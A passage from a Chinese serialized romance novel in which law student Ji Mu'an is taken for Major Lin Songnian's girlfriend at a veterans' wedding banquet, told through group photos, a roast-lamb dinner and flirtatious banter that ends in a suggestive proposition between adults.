她试探性地问:“沐桉,你喜欢的人不会就是曹鑫吧?你们可是有血缘关系的表兄妹呀。”
季沐桉面无表情:“我不吃牛粪的。”
莫佩文:“......”
出门时,莫佩文状似不经意地问:“对了,今晚你教官过来吗?”
季沐桉按了电梯「下」的按钮:“教官就是林少校,我不是超人,打不赢楼下那群妖魔鬼怪。”
巴不得那群妖魔鬼怪把他吃了骨头都不剩!
\
林颂年看到信息时,正和陆淳星坐到那张被移到电梯旁的沙发上:[我在电梯旁的沙发坐着。]
这个沙发原本摆在大堂,现在新人和双方主人家在那迎宾拍照。
陆一涵从迎宾区走过来,拍了一下林颂年的肩头:“不过去拍两张照片吗?”
陆淳星笑着说:“爸,还给颂年介绍呢。”
林颂年转头看紧闭的电梯门,又看看手机屏幕:“可以给你介绍。”
陆一涵:“他就别去了,我可丢不起这个脸。”
陆淳星这小子喜欢就谈、一谈就往家里带,然后吵架就分、不吵也分,换女朋友的频率比风扇转得还快。
陆一涵已经不求他尽快安定下来,只求他别搞出人命。
陆淳星笑:“哇,还不是你说我长得丑,我不想耽误别人,才分的手。”
陆一涵:“长得丑就算了,脑子还不记事,还记得人家叫什么吗?”
陆淳星:“前任呀。”
“教官那么帅。”季沐桉从电梯走过来时,对上林颂年眼神,一秒便移开,看向陆淳星道:“是该记住自己老婆的就行。”
陆淳星背对着电梯坐,觉得声音熟悉,转头看见季沐桉和莫佩文站在一起时,彻底想起来了。
“靠,这不是林教官天天带在身边的跑友吗?”
季沐桉的眉心突地一跳:“陆教官,你别乱缩写。”
她不想半夜被人泼红油漆。
陆淳星后知后觉用错词,立马掌嘴:“抱歉,抱歉,一起跑步的朋友。你怎么在这呢?”
“出差。”季沐桉简单解释,又开始介绍环节:“陆教官是大一军训那年,隔壁班的教官。莫佩文,跟我同级,艺术学院的舞蹈生。”
陆淳星很坦白:“我们认识。昨晚我们还一起吃饭呢。她跟我说,跟法学院的朋友一起过来的,没想到是你呀。”
季沐桉看着心虚的莫佩文,故意拉长语调地哦了声:“原来你们认识呀。”
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陆淳星的长相特别有辨识度,眼窝很深,浓眉大眼,一眼就看出是混了少数民族特征,混得正好,又有军人的阳刚气。
看着就格外好相处,事实也确实如此,军训期间,不少人跟他表白,包括校花在内。
不过他都没答应,还劝别人好好读书。
这么想来,莫佩文难不成以为陆淳星是她的教官?
难怪整天追问“她教官”,总想跟着一起出门,想跟陆教官多点缘分是吧。
陆淳星:“对,昨晚认识的,今天又碰见了。”
季沐桉扭头看莫佩文:“那你跟陆教官很有缘分呢。”
莫佩文强装淡定,凑到季沐桉耳边,低声道:“我觉得你打得赢。”
季沐桉:“别试图岔开话题,怎么瞒着我,昨晚跟陆教官一块吃饭?”
“不是,真的。”
莫佩文把自己看见的告诉季沐桉。
林颂年看清从电梯里走出来的人是季沐桉后,瞳孔微微一缩,整个人愣在那。目光黏在她身上挪都挪不开,脚步却已经不听使唤,直直往她走来。
昨晚在昏暗处看了一眼,就觉得那张脸帅得惊人。
今天灯火通明下再看,觉得陆淳梨说的没错,林少校帅得无可挑剔,寸头也寸得极帅,极好的身材将普通便装穿出威严禁欲感,看上去特爷们,脾气硬、活特顶。
季沐桉身材高挑,五官大气,一身颇有风情的旗袍,好看又有韵味。灯光下,那双白花花的腿,像一汪流动性极强的水,能稳稳地盘绕在这位硬邦邦的林少校身上。
两人就这么站在一块,看着就般配,在床上肯定天造地设。
再说了。
如果他对季沐桉没意思,怎么会在电梯口坐着等季沐桉,而不是在宴会厅,看那群妖魔鬼怪为他百花齐放,使出浑身解数只为博他一眼呢。
季沐桉听莫佩文这番话听得脸红心跳,对上林颂年的眼神时,瞬间又移开,大步朝宴会厅迈去,远离林颂年这个讨厌鬼。
刚走了两步就被林颂年拽住手腕,拉回他身旁。
林颂年视线落到她脚上的高跟鞋:“脚伤了,怎么还穿高跟鞋?”
季沐桉没好气的:“不然穿拖鞋吗?”
林颂年垂眸看她:“怎么生气了?”
季沐桉:“你不是说会替我保密吗?律所的律师打电话过来把我骂了。”
林颂年:“不是我,等会我去查查怎么回事。”
冷静下来后,季沐桉也觉得不是林颂年所为。
“不用了,反正都被阴阳完了。”
林颂年反而在意起来:“必须查清楚!先跟我过去打声招呼。”
“我又不认识主人家,去干嘛?”她只是来蹭饭的。
“给你介绍就认识了。”
季沐桉往外抽了几下都无果,再抬头时,被闪光灯闪得睁不开眼,人已经到迎宾区了。
林颂年从口袋掏出一封厚厚的红包,递给登记礼金的人。
顾平连忙阻止:“颂年,你这是干嘛?快收回去。”
林颂年:“恭喜顾叔,这是我们代表我们一家人给您贺喜的。”
季沐桉先对围在迎宾区的老兵们微微鞠了一躬,弯着唇角,露出一个大方得体的笑容,硬着头皮跟林颂年喊:“恭喜顾叔。”
又在心里骂了林颂年一顿,她没准备礼金。
“你们一家人的呀,一家人的可以。”
顾平笑得很开心:“怎么称呼你女朋友呢?”
“四季平安的‘季’,如沐春风的‘沐’,桉树的‘桉’,季沐桉。”
林颂年跟大家介绍道。
季沐桉:“???”
大哥,你不应该解释说,这不是我女朋友吗?怎么就认了呢?
那请问,这种情况下,她还能否认吗?
13. 下章入v
“季沐桉?不就是季小律师吗?”
刘指导从人群中挤出来,一眼就看到迎宾区里的季沐桉。
季沐桉的舌尖抵在唇峰,一脸疑惑。
刘指导用力拍了一下林颂年的肩头:“我说你怎么肯来呢。不会带来哄我们开心的吧。”
有机会撇清跟林颂年的关系,季沐桉捉紧机会说:“不是,是我本身也要出席。”
刘指导一怔:“欸,你这声音,我似乎在哪听过。”
林颂年抢先回答:“今天就是她报警。她过去李家湾找刘常湖的联系方式,正好碰见了。”
季沐桉张了张唇,终究只是弯了弯唇角,笑笑算了。
刘指导满意地拍了拍林颂年的肩头:“那好好珍惜。”
季沐桉彻底放弃挣扎,觉得也是说多错多,只想快点离开这里。
陆一涵也拍了一下刘指导的肩头:“你认识小季?”
刘指导把涉军土地纠纷案跟大家说了一遍,大家看季沐桉的眼神满是赏识。
全部军官整理着装,准备拍个大合照。
季沐桉想跑,却被林颂年硬留在合影区。
“一起拍张照。”
“我又不认识他们,合照干嘛?”
“你不是认识陆淳梨?”
季沐桉顺着林颂年的视线看去,看见陆淳梨换好演出服,拎着裙摆大步跑来,嘴里喊着:“不好意思,我来晚了。”
看得出她跑得急,演出服上的流苏吊坠都歪了。
陆淳梨看到季沐桉时,双眼一亮,欢呼道:“沐桉,你好美呀!我们的衣服还是同一色系的呢。这不得合个照~”
季沐桉帮她理了理演出服的流苏和裙摆:“必须的。”
陆一涵又惊喜了一下:“淳月,你也认识小季?”
陆淳梨跨过一步,站在季沐桉旁:“嗯,认识几年了。先让我跟沐桉单独合照一张呗。”
新娘正好在旁边补妆,合影区是空的。
林颂年往拍照区域外走,扭头叮嘱一句:“拍完不准跑。”
季沐桉:“就跑。”
“你租车的押金还在我这呢。”
季沐桉咬牙切齿:“......行,站定定的。”
灯光下的季沐桉笑靥如花、顾盼生辉,美得不像话。
摄影师检查照片时,有男人主动向前,提出想跟她合照的请求。
顾平:“什么时候轮到你,走开,到我们拍。”
季沐桉刚往外迈出一步,就被走进拍照区域的林颂年按了回去,没有说话,就站在她旁边,直视着相机镜头。
新郎新娘在拍照区域外休息,现在拍照区域里只剩她和林颂年两人。
行吧,跟他拍一张合照吧。
季沐桉起初是这样想的。
后来陆一淳和十几个老兵都站了进来,还有人提醒:“记得留个空位给甘队,他说他要把自己贴上去。”
“留了,留了。”
位置变得拥挤,林颂年被陆一涵推了一下,松开她的手腕,改扶住她的肩头,顺势歪头倒向她。
两人站在新郎新娘的位置,用一个亲昵的姿势,和老兵们拍了一张大合照。
\
婚礼仪式十分简单——全场敬酒,开席,看表演了。
季沐桉被安排坐在舞台旁的桌子,旁边一桌就是主桌。
陆淳梨和莫佩文表演时,她往旁边挪一下就能拍到,画面非常清晰,角度也很好。
唯独不好的是,她跟林颂年一桌!!!
季沐桉拍摄完,走回桌子时,跟林颂年对上眼神。
他的视线掠过自己旁的位置一眼,碗上已经装了一块外皮烤得焦香酥脆、肉质鲜嫩的羊后腿和一碗温润不油腻的清炖鸽子汤。
作为主人家的顾平端着酒杯就坐过来,跟老兵们聊着天,留出的三个空位在林颂年和陆淳星之间,好像只能坐林颂年旁了。
她坐下来时,林颂年和陆淳星还在分着桌上的烤全羊。
刀虽不锋利,但两人配合默契,陆淳星稳稳摁住羊身,林颂年利落下刀,很快就把烤全羊分好。
羊后腿是烤全羊中肉量最多的部位,肉质紧实丰满,肥瘦搭配恰到好处。孜然的焦香、花椒的麻香和桂皮的醇香,层次分明,互不抢味。洋葱腌制过的羊肉没了膻味,但奶味很浓,回味无穷。
季沐桉几口就把一块羊后腿肉吃完,意犹未尽地抬眼,在烤盘里挑选下一块想吃的部位。
林颂年:“羊头敢不敢吃?”
有人专门爱吃烤羊头,越吃越上瘾,但真要放进嘴前,要先经历一轮心理斗争。
季沐桉正视着那双闭合的羊眼睛,有些犹豫不决,但还是想尝试一下。毕竟这么难得能吃到正宗的烤全羊呢。
林颂年看出她想试,把羊头拿了下来:“我拆给你试试,不喜欢就不要了。”
季沐桉指了指自己的餐盘:“不用,我自己吃。”
林颂年就把羊头放到她餐盘。
季沐桉看着酒店提前准备好人手一份的香料,又虚心请教:“怎么吃呀?”
顾平和刘指导按照吃法顺序,一人一句,指着自己的部位给季沐桉介绍:“先吃羊脸颊肉、然后是羊舌头、羊眼睛、羊脑、羊耳朵。”
季沐桉按照顺序,举起羊头就啃,羊头盖过她巴掌大的脸,只露出一只黑溜溜的眼睛,那双眼睛没有被大家注视的难堪和害羞,只有对美食的向往。
咬下第一口羊脸颊肉,她发现能直接用手撕下来,自嘲地笑了笑,觉得自己有点笨,撕下另一边的羊脸颊肉继续吃。
林颂年拿纸巾,替她擦掉鼻尖沾着的香料。
季沐桉满眼满心只有羊头,以为他夹菜过来:“谢谢教官。”
林颂年递给她一杯解腻的果汁:“不用,好吃吗?”
季沐桉点头:“好吃。可惜只有一个。”
林颂年:“喜欢吃就再给你拿一个。”
季沐桉发现老兵们都盯着她看,轻声:“不用了。”
现场音乐的音量偏高,林颂年凑到季沐桉耳边,跟她说话,一眼就捕捉到她偷偷看向老兵们的眼神——带着点不好意思,更多的是局促。
林颂年转动餐桌上的转盘,用食物挡住老兵们的视线:“吃。”
“好,吃吃吃!”
大家笑着应着,收回落在两人身上的目光,胃口也被季沐桉这副馋嘴模样彻底勾了起来。
季沐桉边吃边听他们闲聊。
这桌本是陆淳星一家和林颂年一家的席位,本来只缺一位,但甘队一家就派了林颂年过来,陆一涵的爱人因工作来不了。
又听他们说,本来没遇着甘家会来人,军人本就身不由己,顾平就是盼着能跟甘队聚一聚,不过现在比看到甘队带嫂子来还开心。
季沐桉凑到林颂年旁,低声道:“教官,要不你跟叔叔们承认,你已经跟女朋友分手了,我只是来蹭饭的。不然我都不敢吃了。”
说完,她就把羊眼睛塞进嘴里,口感软糯绵密,像果冻一样,咬开后有少量汁水爆出来,味道和口感都透着惊喜,也真的好吃。
下一个该吃,羊脑。
林颂年:“我看你吃得挺开心。”
季沐桉冲他笑了一下,随即收起笑容,面无表情:“没有的事。”
正好顾平直问林颂年:“你们打算什么时候摆酒?”
今晚林颂年封的礼金比另外三家都要多,顾平便调侃他,下次分三封就行。林颂年点头说好,还说年底他外孙的满月酒,他们一家拿两封过来。
他们老兵聚餐有一条不成文的规定,结婚才有资格封礼金。大家默认这两人是好事近了,得提前安排好时间。
季沐桉拿匙羹搅着羊脑,弯着唇角看他,从牙缝中挤出二字:“解释。”
林颂年:“顾叔,你们误会了。是圆满准备结婚,日子还在选呢。”
陆淳梨没有表演了。
她换回自己的衣服回来吃饭,就看到季沐桉眼里全是这两个疑问。
圆满?
你喜欢的那个圆满吗?
眼神对上的那一瞬间,陆淳梨就移开视线了。
于是,季沐桉转头问林颂年:“圆满是谁?”
林颂年:“我弟。”
“你弟?”季沐桉眨着眼睛思考:“林圆满?”
“姓甘,甘圆满。”
陆淳梨喜欢的人就叫“甘圆满”!!!
季沐桉见过甘圆满的照片,长得阳光帅气,笑起来的时候如春风拂面,给人一种国泰民安的幸福感。
林颂年用“我跟你说过的了”的表情看着她:“他是我干爸的亲生儿子。”
林颂年是跟她说过,他爸牺牲后几年,他母亲也改嫁回北城了,他干爸就让他改口喊“爸”。
但没说他还有一个弟弟,叫甘圆满。
季沐桉不太肯定,这个“甘圆满”是不是陆淳梨喜欢的“甘圆满”,又问:“你弟多少岁,这么早就订婚了?”
林颂年:“21岁。”他低头看着她,唇角微微勾起:“你俩同一天生日。过完生日,你们都到法定登记的年龄了。”
那又怎么样?你又不娶我。
高三那年,学校替他们举办了成人礼。老一辈总喜欢算虚岁,宋惟峥就在那个夏天陪她过十八岁的生日。
按周岁算的话,她认识林颂年时,确实还没成年。
陆淳梨小声:“真的过了法定年龄就结婚呢。”
陆淳梨曾说过,甘圆满比他女朋友大两岁,两人等一起到了法定年龄,就领证结婚。
她是不可能有戏的。
季沐桉则保留意见。
她父母就是太早结婚,心性还不成熟,遇事就崩、闹得鸡飞狗跳,最终离婚收场。
宋惟峥不想她走宋霞的老路,将大部分资产都留给她,让她慢慢走人生路,看遍人间繁花,幸福过日子。
大一临别时,林颂年那段话也是这个意思,那时候的她惊喜若狂,庆幸在人海茫茫中,遇见真心为她着想的男人,从此沉陷其中、无法自拔。
结果被青春狠狠扇了一巴掌。
现
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在林颂年还是对她那么好,甚至更好。
好到想奖励他一个一夜情。
真的栽过跟头才舍得放弃?
季沐桉自嘲一笑,心不在焉地回:“就是,后悔了怎么办?”
林颂年以为跟他说话,反问:“为什么要后悔?”
季沐桉:“你干爹和干妈不吵架吗?”
“天天吵,那又怎么样?哪对夫妻不吵架?”林颂年蓦地一笑:“你也天天跟我吵。”
她也觉得自己现在跟个炮仗似的,碰到林颂年就炸,那又怎么样?
“明明是你的问题。”
林颂年舌尖抵在后牙,嗤笑声,蓦地点了下头:“对,我的问题。”
一副认识到自己问题、真心认错的样子。
季沐桉冷漠地哦了声,话锋一转:“你弟和她女朋友感情很好吗?”
林颂年:“他们初中就在一起了。圆满大她两岁,他读高一时,他女朋友才读初二,两人都住校,一放学就黏在一块......”
说到一半,发现不对劲,还说出几分不好意思,但又怕季沐桉误会,凑到她耳边,很小声:“从那时候起,基本都一起住了。”
初中就开始同居了?
季沐桉:“住谁家?”
“住我家。”
季沐桉:“为什么住你家?”
林颂年凑她更近:“能光明正大睡一张床。”
季沐桉倏地睁开眼睛:“你......”好恶心呀。
林颂年被她标致眉眼透着“玩真花”的嫌弃,怄笑出声,弹了一下她的眉心:“乱想什么。”
别整天表现出一副他们很熟悉的样子。
季沐桉身体靠向陆淳梨那侧:“想你记得甘圆满女朋友的生日吗?”
林颂年想了几秒,眉头微微皱起,下巴轻点陆淳梨:“好像跟陆淳梨同一天。”
陆淳梨的生日更好记了。
“具体哪一天呢?”
林颂年有点好笑:“我特意记她们生日干嘛。”
季沐桉的手摸到羊舌,低头去咬,酸溜溜地说:“前任太多,确实不好记。”
陆淳梨有点嫌弃季沐桉这副模样:“年哥哪里有什么前任!这是我第一次见年哥旁边坐了一个女的,也是第一次看美女吃羊头。”
莫佩文附和:“我也是。”
要怎么解释,她平时也不是这样的。
等等,林颂年没前任?!
不可能!她都亲眼看见了。
季沐桉:“你常年在外读书,不知道也不出奇。”
陆淳梨:“可是我们都住大院。过年前,我们两家人吃饭,甘叔叔还让我哥给年哥介绍点女孩子,跟我哥在一起过的也行。假如年哥有‘声气’,甘叔叔至于这样吗?”
季沐桉的手指在现场绕了一圈:“林颂年缺女的?”
话落,就有一位穿得花枝招展的女生过来给林颂年敬酒。
“你看,多漂亮。”
陆淳梨:“你看年哥有多看她一眼吗?”
还真把人家美女晾在一边。
看来林颂年已经恢复单身,但都没来找自己,只有一种可能——
他不喜欢她。
为了缓解尴尬,女生只好走过去找自己父亲。
季沐桉认出她父亲是南城某贸易公司的陈总,陈总正跟顾平寒暄,在女生催促的眼神下,一同大步走向林颂年,卷土重来,来势汹汹。
陈总递给林颂年一根烟,还要给他点。
林颂年接过时,有种后背被盯得发凉的错觉,扭头对上季沐桉视线,礼貌上接过烟,但没有点。
陈总顺着林颂年的视线,看到季沐桉,觉得有点熟悉,笑问林颂年:“这位是你妹妹?”
“对呀。”
季沐桉站起身,朝陈总举起酒杯:“陈总百忙之中,也抽空过来喝顾叔女儿的喜酒,真给面子呢。”
陈总认出季沐桉,又看向林颂年说:“你妹妹从北城回到南城都不说一声,我就跟她实习的律所合作呢。”
他看向季沐桉,一副大发慈悲的样子:“那这次公司搞上市就交给你们律所做。”
说着,他碰了下季沐桉的酒杯,眼底带着讨好的笑意。跟之前在律所时的他,完全是两个人。
季沐桉准备喝下酒时,酒杯被林颂年抽走了。
她抬眼看去,见林颂年脸色难看,先发制人:“骗子。”
说自己是独生子,这怎么就蹦出一个妹妹了?
林颂年看着她那双饱含嗔怪的双眸,嗓音低哑,眸底欲.火中烧,手臂托着季沐桉纤细的腰,哼笑:“对,我是骗子。”
又用这语气。
季沐桉感受到他滚烫的掌心在胡作非为,被掐住命脉,心理上不想拒绝,生理上有点享受。
她紧紧咬住下唇,用尽浑身力气推开林颂年。
但一点都推不动。
还被他搂更紧了。
林颂年喝完杯中的白酒,凑到她耳边,嗓音低哑,笑意浓浓地邀请她:“要不要跟骗子上床?”